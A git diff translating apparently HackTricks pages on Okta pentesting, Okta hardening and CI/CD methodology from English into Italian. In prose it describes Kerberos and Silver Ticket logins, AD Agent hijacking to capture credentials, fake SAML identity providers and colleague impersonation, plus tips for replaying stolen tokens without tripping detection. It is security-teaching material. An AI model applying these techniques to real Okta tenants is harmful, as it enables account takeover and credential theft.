-These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
+Questi servizi mirano collettivamente a rafforzare la protezione dei dati e semplificare l'accesso degli utenti, migliorando sia la sicurezza che la comodità. La versatilità delle soluzioni di Okta le rende una scelta popolare in vari settori, utile per grandi imprese, piccole aziende e sviluppatori individuali. A partire dall'ultimo aggiornamento nel settembre 2021, Okta è riconosciuta come un'entità prominente nel campo della gestione dell'identità e degli accessi (IAM).
> [!CAUTION]
-> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
+> L'obiettivo principale di Okta è configurare l'accesso a diversi utenti e gruppi per applicazioni esterne. Se riesci a **compromettere i privilegi di amministratore in un ambiente Okta**, sarà molto probabile che tu possa **compromettere tutte le altre piattaforme utilizzate dall'azienda**.
> [!TIP]
-> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
+> Per eseguire una revisione della sicurezza di un ambiente Okta, dovresti richiedere **accesso in sola lettura per l'amministratore**.
-### Summary
+### Riepilogo
-There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\
-These users can be inside **groups**.\
-There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)...
+Ci sono **utenti** (che possono essere **memorizzati in Okta,** autenticati da **Identity Providers** configurati o autenticati tramite **Active Directory** o LDAP).\
+Questi utenti possono essere all'interno di **gruppi**.\
+Ci sono anche **autenticatori**: diverse opzioni per autenticarsi come password e vari 2FA come WebAuthn, email, telefono, okta verify (possono essere abilitati o disabilitati)...
-Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
+Poi, ci sono **applicazioni** sincronizzate con Okta. Ogni applicazione avrà alcune **mappature con Okta** per condividere informazioni (come indirizzi email, nomi...). Inoltre, ogni applicazione deve essere all'interno di una **Authentication Policy**, che indica gli **autenticatori necessari** per un utente per **accedere** all'applicazione.
> [!CAUTION]
-> The most powerful role is **Super Administrator**.
+> Il ruolo più potente è **Super Administrator**.
>
-> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
+> Se un attaccante compromette Okta con accesso da amministratore, tutte le **app che si fidano di Okta** saranno molto probabilmente **compromesse**.
-## Attacks
+## Attacchi
-### Locating Okta Portal
+### Localizzazione del Portale Okta
-Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**.
+Di solito, il portale di un'azienda sarà situato in **companyname.okta.com**. Se non lo trovi, prova semplici **variazioni** di **companyname.** Se non riesci a trovarlo, è anche possibile che l'organizzazione abbia un record **CNAME** come **`okta.companyname.com`** che punta al **portale Okta**.
-### Login in Okta via Kerberos
+### Accesso a Okta tramite Kerberos
-If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard.
+Se **`companyname.kerberos.okta.com`** è attivo, **Kerberos è utilizzato per l'accesso a Okta**, bypassando tipicamente la **MFA** per gli utenti **Windows**. Per trovare gli utenti Okta autenticati tramite Kerberos in AD, esegui **`getST.py`** con **parametri appropriati**. Dopo aver ottenuto un **ticket utente AD**, **inietta** il ticket in un host controllato utilizzando strumenti come Rubeus o Mimikatz, assicurandoti che **`clientname.kerberos.okta.com` sia nella zona "Intranet" delle Opzioni Internet**. Accedere a un URL specifico dovrebbe restituire una risposta JSON "OK", indicando l'accettazione del ticket Kerberos e concedendo accesso al dashboard di Okta.
-Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta.
+Compromettere l'**account di servizio Okta con il delegato SPN consente un attacco Silver Ticket.** Tuttavia, l'uso di **AES** da parte di Okta per la crittografia dei ticket richiede di possedere la chiave AES o la password in chiaro. Usa **`ticketer.py` per generare un ticket per l'utente vittima** e consegnalo tramite il browser per autenticarti con Okta.
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Controlla l'attacco in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Hijacking Okta AD Agent
-This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key').
+Questa tecnica implica **accedere all'Okta AD Agent su un server**, che **synchronizza gli utenti e gestisce l'autenticazione**. Esaminando e decrittografando le configurazioni in **`OktaAgentService.exe.config`**, in particolare l'AgentToken utilizzando **DPAPI**, un attaccante può potenzialmente **intercettare e manipolare i dati di autenticazione**. Questo consente non solo di **monitorare** e **catturare le credenziali degli utenti** in chiaro durante il processo di autenticazione di Okta, ma anche di **rispondere ai tentativi di autenticazione**, consentendo così accessi non autorizzati o fornendo autenticazione universale tramite Okta (simile a una 'chiave scheletro').
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Controlla l'attacco in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-### Hijacking AD As an Admin
+### Hijacking AD come Amministratore
-This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment.
+Questa tecnica implica l'hijacking di un Okta AD Agent ottenendo prima un OAuth Code, quindi richiedendo un token API. Il token è associato a un dominio AD, e un **connettore è nominato per stabilire un agente AD falso**. L'inizializzazione consente all'agente di **elaborare i tentativi di autenticazione**, catturando le credenziali tramite l'API di Okta. Sono disponibili strumenti di automazione per semplificare questo processo, offrendo un metodo fluido per intercettare e gestire i dati di autenticazione all'interno dell'ambiente Okta.
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Controlla l'attacco in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Okta Fake SAML Provider
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Controlla l'attacco in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner.
+La tecnica implica **l'implementazione di un provider SAML falso**. Integrando un Identity Provider (IdP) esterno all'interno del framework di Okta utilizzando un account privilegiato, gli attaccanti possono **controllare l'IdP, approvando qualsiasi richiesta di autenticazione a piacimento**. Il processo comporta la configurazione di un IdP SAML 2.0 in Okta, manipolando l'URL di Single Sign-On dell'IdP per il reindirizzamento tramite il file hosts locale, generando un certificato autofirmato e configurando le impostazioni di Okta per corrispondere al nome utente o all'email. Eseguire con successo questi passaggi consente di autenticarsi come qualsiasi utente Okta, bypassando la necessità di credenziali individuali, elevando significativamente il controllo degli accessi in modo potenzialmente inosservato.
-### Phishing Okta Portal with Evilgnix
+### Attacco di impersonificazione di un collega
-In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal.
+Gli **attributi che ogni utente può avere e modificare** (come email o nome) possono essere configurati in Okta. Se un **applicazione** si **fida** come ID di un **attributo** che l'utente può **modificare**, sarà in grado di **impersonare altri utenti in quella piattaforma**.
-### Colleague Impersonation Attack
+Pertanto, se l'app si fida del campo **`userName`**, probabilmente non sarai in grado di cambiarlo (perché di solito non puoi cambiare quel campo), ma se si fida ad esempio di **`primaryEmail`** potresti essere in grado di **cambiarlo con l'indirizzo email di un collega** e impersonarlo (dovrai avere accesso all'email e accettare la modifica).
-The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**.
-
-Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change).
-
-Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
-Therefore, the app should have this field enabled if it exists:
+Nota che questa impersonificazione dipende da come è stata configurata ciascuna applicazione. Solo quelle che si fidano del campo che hai modificato e accettano aggiornamenti saranno compromesse.\
+Pertanto, l'app dovrebbe avere questo campo abilitato se esiste:
-I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
+Ho anche visto altre app che erano vulnerabili ma non avevano quel campo nelle impostazioni di Okta (alla fine, diverse app sono configurate in modo diverso).
-The best way to find out if you could impersonate anyone on each app would be to try it!
+Il modo migliore per scoprire se puoi impersonare qualcuno su ciascuna app sarebbe provarlo!
-## Evading behavioural detection policies
+## Evitare le politiche di rilevamento comportamentale
-Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page.
+Le politiche di rilevamento comportamentale in Okta potrebbero essere sconosciute fino a quando non vengono incontrate, ma **bypassarle** può essere ottenuto **mirando direttamente alle applicazioni Okta**, evitando il dashboard principale di Okta. Con un **token di accesso Okta**, riproduci il token all'**URL specifico dell'applicazione Okta** invece della pagina di accesso principale.
-Key recommendations include:
+Le raccomandazioni chiave includono:
-- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
-- Ensure **consistent user-agent strings** between the client and replayed access tokens.
-- **Refrain from replaying** tokens from different users from the same IP address.
-- Exercise caution when replaying tokens against the Okta dashboard.
-- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
+- **Evitare di utilizzare** proxy di anonimizzazione popolari e servizi VPN quando si riproducono token di accesso catturati.
+- Assicurati che ci siano **stringhe user-agent coerenti** tra il client e i token di accesso riprodotti.
+- **Astenersi dal riprodurre** token di utenti diversi dallo stesso indirizzo IP.
+- Fai attenzione quando riproduci token contro il dashboard di Okta.
+- Se sei a conoscenza degli indirizzi IP dell'azienda vittima, **limita il traffico** a quegli IP o al loro intervallo, bloccando tutto il resto del traffico.
-## Okta Hardening
+## Indurimento di Okta
-Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
+Okta ha molte configurazioni possibili, in questa pagina troverai come rivederle affinché siano il più sicure possibile:
{{#ref}}
okta-hardening.md
{{#endref}}
-## References
+## Riferimenti
- [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md
index a7dac96a7..3dc857522 100644
--- a/src/pentesting-ci-cd/okta-security/okta-hardening.md
+++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md
@@ -6,72 +6,72 @@
### People
-From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs).
+Dal punto di vista di un attaccante, questo è super interessante poiché sarà possibile vedere **tutti gli utenti registrati**, i loro **indirizzi email**, i **gruppi** di cui fanno parte, i **profili** e persino i **dispositivi** (mobile insieme ai loro OS).
-For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**".
+Per una revisione whitebox controlla che non ci siano più di "**Azione utente in sospeso**" e "**Ripristino password**".
### Groups
-This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\
-It's possible to see the **people included inside groups** and **apps assigned** to each group.
+Qui puoi trovare tutti i gruppi creati in Okta. È interessante comprendere i diversi gruppi (insieme di **permessi**) che potrebbero essere concessi agli **utenti**.\
+È possibile vedere le **persone incluse nei gruppi** e le **app assegnate** a ciascun gruppo.
-Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members.
+Ovviamente, qualsiasi gruppo con il nome di **admin** è interessante, specialmente il gruppo **Global Administrators**, controlla i membri per scoprire chi sono i membri più privilegiati.
-From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3).
+Da una revisione whitebox, non **dovrebbero esserci più di 5 global admins** (meglio se ce ne sono solo 2 o 3).
### Devices
-Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not.
+Trova qui un **elenco di tutti i dispositivi** di tutti gli utenti. Puoi anche vedere se è **gestito attivamente** o meno.
### Profile Editor
-Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**.
+Qui è possibile osservare come informazioni chiave come nomi, cognomi, email, nomi utente... sono condivisi tra Okta e altre applicazioni. Questo è interessante perché se un utente può **modificare in Okta un campo** (come il suo nome o email) che poi è utilizzato da un **applicazione esterna** per **identificare** l'utente, un insider potrebbe cercare di **prendere il controllo di altri account**.
-Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it).
+Inoltre, nel profilo **`User (default)`** di Okta puoi vedere **quali campi** ciascun **utente** ha e quali sono **scrivibili** dagli utenti. Se non riesci a vedere il pannello di amministrazione, vai semplicemente a **aggiornare le informazioni del tuo profilo** e vedrai quali campi puoi aggiornare (nota che per aggiornare un indirizzo email dovrai verificarlo).
### Directory Integrations
-Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories.
+Le directory ti consentono di importare persone da fonti esistenti. Immagino che qui vedrai gli utenti importati da altre directory.
-I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**.
+Non l'ho visto, ma immagino che sia interessante scoprire **altre directory che Okta sta utilizzando per importare utenti** così se **comprometti quella directory** potresti impostare alcuni valori di attributi negli utenti creati in Okta e **forse compromettere l'ambiente Okta**.
### Profile Sources
-A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time.
+Una fonte di profilo è un **applicazione che funge da fonte di verità** per gli attributi del profilo utente. Un utente può essere sorgente solo da un'applicazione o directory alla volta.
-I haven't seen it, so any information about security and hacking regarding this option is appreciated.
+Non l'ho visto, quindi qualsiasi informazione sulla sicurezza e hacking riguardo a questa opzione è apprezzata.
## Customizations
### Brands
-Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know).
+Controlla nella scheda **Domains** di questa sezione gli indirizzi email utilizzati per inviare email e il dominio personalizzato all'interno di Okta dell'azienda (che probabilmente già conosci).
-Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL.
+Inoltre, nella scheda **Setting**, se sei admin, puoi "**Usare una pagina di disconnessione personalizzata**" e impostare un URL personalizzato.
### SMS
-Nothing interesting here.
+Niente di interessante qui.
### End-User Dashboard
-You can find here applications configured, but we will see the details of those later in a different section.
+Puoi trovare qui le applicazioni configurate, ma vedremo i dettagli di quelle più avanti in una sezione diversa.
### Other
-Interesting setting, but nothing super interesting from a security point of view.
+Impostazione interessante, ma nulla di super interessante dal punto di vista della sicurezza.
## Applications
### Applications
-Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application...
+Qui puoi trovare tutte le **applicazioni configurate** e i loro dettagli: Chi ha accesso a esse, come è configurato (SAML, OpenID), URL per il login, le mappature tra Okta e l'applicazione...
-In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
+Nella scheda **`Sign On`** c'è anche un campo chiamato **`Password reveal`** che consentirebbe a un utente di **rivelare la sua password** quando controlla le impostazioni dell'applicazione. Per controllare le impostazioni di un'applicazione dal Pannello Utente, fai clic sui 3 punti:
-And you could see some more details about the app (like the password reveal feature, if it's enabled):
+E potresti vedere alcuni dettagli in più sull'app (come la funzione di rivelazione della password, se è abilitata):
@@ -79,125 +79,121 @@ And you could see some more details about the app (like the password reveal feat
### Access Certifications
-Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required.
+Usa le Access Certifications per creare campagne di audit per rivedere periodicamente l'accesso dei tuoi utenti alle risorse e approvare o revocare l'accesso automaticamente quando necessario.
-I haven't seen it used, but I guess that from a defensive point of view it's a nice feature.
+Non l'ho visto utilizzato, ma immagino che da un punto di vista difensivo sia una bella funzionalità.
## Security
### General
-- **Security notification emails**: All should be enabled.
-- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
-- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
-- **User enumeration prevention**: Both should be enabled
- - Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
- - Self-Service Registration
- - JIT flows with email authentication
-- **Okta ThreatInsight settings**: Log and enforce security based on threat level
+- **Email di notifica di sicurezza**: Tutte dovrebbero essere abilitate.
+- **Integrazione CAPTCHA**: È consigliato impostare almeno il reCaptcha invisibile.
+- **Sicurezza dell'organizzazione**: Tutto può essere abilitato e le email di attivazione non dovrebbero durare a lungo (7 giorni va bene).
+- **Prevenzione dell'enumerazione degli utenti**: Entrambi dovrebbero essere abilitati.
+- Nota che la Prevenzione dell'Enumerazione degli Utenti non ha effetto se una delle seguenti condizioni è consentita (vedi [Gestione utenti](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) per ulteriori informazioni):
+- Registrazione Self-Service
+- Flussi JIT con autenticazione email
+- **Impostazioni Okta ThreatInsight**: Registra e applica la sicurezza in base al livello di minaccia.
### HealthInsight
-Here is possible to find correctly and **dangerous** configured **settings**.
+Qui è possibile trovare impostazioni **configurate correttamente** e **pericolose**.
### Authenticators
-Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong.
+Qui puoi trovare tutti i metodi di autenticazione che un utente potrebbe utilizzare: Password, telefono, email, codice, WebAuthn... Cliccando sull'autenticatore Password puoi vedere la **politica delle password**. Controlla che sia forte.
-In the **Enrollment** tab you can see how the ones that are required or optinal:
+Nella scheda **Enrollment** puoi vedere quali sono richiesti o opzionali:
-It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
+È consigliabile disabilitare il telefono. I più forti sono probabilmente una combinazione di password, email e WebAuthn.
### Authentication policies
-Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions.
+Ogni app ha una politica di autenticazione. La politica di autenticazione verifica che gli utenti che tentano di accedere all'app soddisfino condizioni specifiche e applica i requisiti di fattore in base a tali condizioni.
-Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it.
+Qui puoi trovare i **requisiti per accedere a ciascuna applicazione**. È consigliato richiedere almeno una password e un altro metodo per ciascuna applicazione. Ma se come attaccante trovi qualcosa di più debole potresti essere in grado di attaccarlo.
### Global Session Policy
-Here you can find the session policies assigned to different groups. For example:
+Qui puoi trovare le politiche di sessione assegnate a diversi gruppi. Ad esempio:
-It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
+È consigliato richiedere MFA, limitare la durata della sessione a qualche ora, non persistere i cookie di sessione attraverso le estensioni del browser e limitare la posizione e il Provider di Identità (se questo è possibile). Ad esempio, se ogni utente dovrebbe accedere da un paese, potresti consentire solo questa posizione.
### Identity Providers
-Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card.
+I Provider di Identità (IdP) sono servizi che **gestiscono gli account utente**. Aggiungere IdP in Okta consente ai tuoi utenti finali di **registrarsi autonomamente** con le tue applicazioni personalizzate autenticandosi prima con un account social o una smart card.
-On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain.
+Nella pagina dei Provider di Identità, puoi aggiungere accessi social (IdP) e configurare Okta come fornitore di servizi (SP) aggiungendo SAML in entrata. Dopo aver aggiunto gli IdP, puoi impostare regole di instradamento per indirizzare gli utenti a un IdP in base al contesto, come la posizione dell'utente, il dispositivo o il dominio email.
-**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment.
+**Se un provider di identità è configurato** dal punto di vista di un attaccante e di un difensore controlla quella configurazione e **se la fonte è davvero affidabile** poiché un attaccante che la compromette potrebbe anche ottenere accesso all'ambiente Okta.
### Delegated Authentication
-Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server.
+L'autenticazione delegata consente agli utenti di accedere a Okta inserendo le credenziali per il server **Active Directory (AD) o LDAP** della loro organizzazione.
-Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting.
+Ancora una volta, ricontrolla questo, poiché un attaccante che compromette l'AD di un'organizzazione potrebbe essere in grado di passare a Okta grazie a questa impostazione.
### Network
-A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations.
+Una zona di rete è un confine configurabile che puoi utilizzare per **concedere o limitare l'accesso a computer e dispositivi** nella tua organizzazione in base all'**indirizzo IP** che richiede l'accesso. Puoi definire una zona di rete specificando uno o più indirizzi IP individuali, intervalli di indirizzi IP o posizioni geografiche.
-After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**.
+Dopo aver definito una o più zone di rete, puoi **utilizzarle nelle Politiche di Sessione Globali**, **politiche di autenticazione**, notifiche VPN e **regole di instradamento**.
-From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly.
+Dal punto di vista di un attaccante è interessante sapere quali IP sono consentiti (e controllare se ci sono **IP più privilegiati** di altri). Dal punto di vista di un attaccante, se gli utenti dovrebbero accedere da un indirizzo IP o regione specifici controlla che questa funzione sia utilizzata correttamente.
### Device Integrations
-- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
- - I haven't seen this used yet. TODO
-- **Notification services**: I haven't seen this used yet. TODO
+- **Endpoint Management**: La gestione degli endpoint è una condizione che può essere applicata in una politica di autenticazione per garantire che i dispositivi gestiti abbiano accesso a un'applicazione.
+- Non l'ho ancora visto utilizzato. TODO
+- **Servizi di notifica**: Non l'ho ancora visto utilizzato. TODO
### API
-You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**.
+Puoi creare token API di Okta in questa pagina e vedere quelli che sono stati **creati**, i loro **privilegi**, il **tempo di scadenza** e gli **URL di origine**. Nota che i token API vengono generati con i permessi dell'utente che ha creato il token e sono validi solo se l'**utente** che li ha creati è **attivo**.
-The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API.
+Le **Origini Affidabili** concedono accesso ai siti web che controlli e di cui ti fidi per accedere alla tua organizzazione Okta tramite l'API di Okta.
-There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them.
+Non dovrebbero esserci molti token API, poiché se ce ne sono un attaccante potrebbe cercare di accedervi e usarli.
## Workflow
### Automations
-Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users.
+Le automazioni ti consentono di creare azioni automatizzate che vengono eseguite in base a un insieme di condizioni di attivazione che si verificano durante il ciclo di vita degli utenti finali.
-For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta".
+Ad esempio, una condizione potrebbe essere "Inattività dell'utente in Okta" o "Scadenza della password dell'utente in Okta" e l'azione potrebbe essere "Invia email all'utente" o "Cambia stato del ciclo di vita dell'utente in Okta".
## Reports
### Reports
-Download logs. They are **sent** to the **email address** of the current account.
+Scarica i log. Vengono **inviati** all'**indirizzo email** dell'account attuale.
### System Log
-Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta.
+Qui puoi trovare i **log delle azioni eseguite dagli utenti** con molti dettagli come il login in Okta o nelle applicazioni tramite Okta.
### Import Monitoring
-This can **import logs from the other platforms** accessed with Okta.
+Questo può **importare log dalle altre piattaforme** accessibili con Okta.
### Rate limits
-Check the API rate limits reached.
+Controlla i limiti di frequenza API raggiunti.
## Settings
### Account
-Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates.
+Qui puoi trovare **informazioni generali** sull'ambiente Okta, come il nome dell'azienda, l'indirizzo, il **contatto email per la fatturazione**, il **contatto email tecnico** e anche chi dovrebbe ricevere aggiornamenti di Okta e che tipo di aggiornamenti di Okta.
### Downloads
-Here you can download Okta agents to sync Okta with other technologies.
+Qui puoi scaricare agenti Okta per sincronizzare Okta con altre tecnologie.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
index 41899af04..8af0e6f1a 100644
--- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
@@ -6,103 +6,99 @@
## VCS
-VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
+VCS sta per **Version Control System**, questi sistemi consentono agli sviluppatori di **gestire il loro codice sorgente**. Il più comune è **git** e di solito troverai aziende che lo utilizzano in una delle seguenti **piattaforme**:
- Github
- Gitlab
- Bitbucket
- Gitea
-- Cloud providers (they offer their own VCS platforms)
+- Fornitori di cloud (offrono le proprie piattaforme VCS)
## CI/CD Pipelines
-CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
+Le pipeline CI/CD consentono agli sviluppatori di **automatizzare l'esecuzione del codice** per vari scopi, inclusi la costruzione, il test e il deployment delle applicazioni. Questi flussi di lavoro automatizzati sono **attivati da azioni specifiche**, come push di codice, pull request o attività programmate. Sono utili per semplificare il processo dallo sviluppo alla produzione.
-However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**.
+Tuttavia, questi sistemi devono essere **eseguiti da qualche parte** e di solito con **credenziali privilegiate per distribuire codice o accedere a informazioni sensibili**.
## VCS Pentesting Methodology
> [!NOTE]
-> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
+> Anche se alcune piattaforme VCS consentono di creare pipeline, in questa sezione analizzeremo solo i potenziali attacchi al controllo del codice sorgente.
-Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
+Le piattaforme che contengono il codice sorgente del tuo progetto contengono informazioni sensibili e le persone devono essere molto attente ai permessi concessi all'interno di questa piattaforma. Questi sono alcuni problemi comuni tra le piattaforme VCS che un attaccante potrebbe sfruttare:
-- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
-- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
- - **Register**: Some platforms will just allow external users to create an account.
